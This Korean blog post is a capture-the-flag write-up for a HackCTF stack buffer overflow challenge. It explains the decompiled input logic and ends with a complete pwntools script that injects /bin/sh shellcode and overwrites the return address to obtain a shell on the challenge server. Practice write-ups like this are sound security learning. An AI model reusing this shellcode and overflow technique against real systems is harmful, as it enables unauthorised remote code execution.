2021. 7. 14. 00:01ㆍHackCTF
이번 문제는 여태까지 풀었던 Buffer Overflow문제들보다 소스코드가 조금 복잡해 보입니다.
우선 문제 파일을 실행시켜보겠습니다.
코드랑 같이 보면서 설명하도록 하겠습니다.
우선 do-while 반복문을 사용하는데, do의 첫 부분에서 88-14=74(10진수로 116) 크기의 char형 배열 s를 \n(줄 바꿈 이스케이프 시퀸스)이 나오기 전까지 입력받습니다.
그리고 for문으로 들어가는데, size_t 형식의 변수 v3에다가 int형 변수 i를 대입합니다.
저는 여기서 size_t라는 타입을 처음 봐서 구글에 서칭을 조금 해봤습니다.
size_t는 해당 시스템에서 어떤 객체나 값이 포함할 수 있는 최대 크기의 데이터를 표현하는 타입으로 반드시 unsigned 형으로 나타낸다.
나무위키에 size_t를 설명하는 글이 있길래 본문에서 위 문장을 가져왔습니다.
그냥 이런 자료형도 있구나~ 하고 넘어가겠습니다.
for문 안에서 만나는 첫 번째와 두 번째 if는 그다지 신경 쓰지 않아도 될 것 같습니다.
세 번째 if는 문자열을 16개씩 끊어주는 부분입니다.
그 후에 y/n 둘 중 하나를 선택하도록 해서 v5를 입력받을지 아니면 종료할지 판별하게 됩니다.
입력받는 v5는 89-13=76(10진수로 118)의 크기입니다.
기본적인 정보들은 다 모은 것 같습니다.
이 코드에서 입력을 받는 부분은 do부분에 있는 s, while부분에 있는 v5 이렇게 두 부분입니다.
s는 아무래도 \n 전까지 라는 제약조건이 있고, v5는 그냥 scanf로 받게 되니 v5가 오버플로우에 적합해 보입니다.
그럼 우선 s에는 아무 값이나 넣어주고 y를 선택해서 v5를 받을 수 있도록 하겠습니다.
그리고 v5에는 쉘코드(25byte)를 넣어주고 나머지 buf+sfp의 크기만큼 쓰레기 값으로 채우겠습니다.
ret 부분에는 처음에 주어졌던 buf 주소를 잘라 32bit로 바꿔 넣으면 쉘코드가 실행되면서 FLAG가 뜰 것 같습니다.
from pwn import *
p=remote("ctf.j0n9hyun.xyz",3006)
p.recvuntil(" : ")
p.sendline("happyhappy")
juso=int(p.recv(10),16)
p.recvuntil(": ")
p.sendline("y")
shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
a=shell
a+='a'*(0x88-25+4)+p32(juso)
p.sendline(a)
p.interactive()
이번 문제는 선언된 변수랑 배열들이 너무 많고 코드도 상대적으로 복잡해서 익스코드 짜다가 많이 헷갈렸습니다.
메모장에 정리해가면서 푸니까 생각도 정리되고, 복잡하지도 않아서 편했습니다.
'HackCTF' 카테고리의 다른 글
RTL_World 풀이 (0) | 2021.07.17 |
---|---|
Offset 풀이 (0) | 2021.07.14 |
x64 Simple_size_BOF 풀이 (0) | 2021.07.13 |
내 버퍼가 흘러넘친다!!! 풀이 (0) | 2021.07.12 |
x64 Buffer Overflow 풀이 (0) | 2021.06.16 |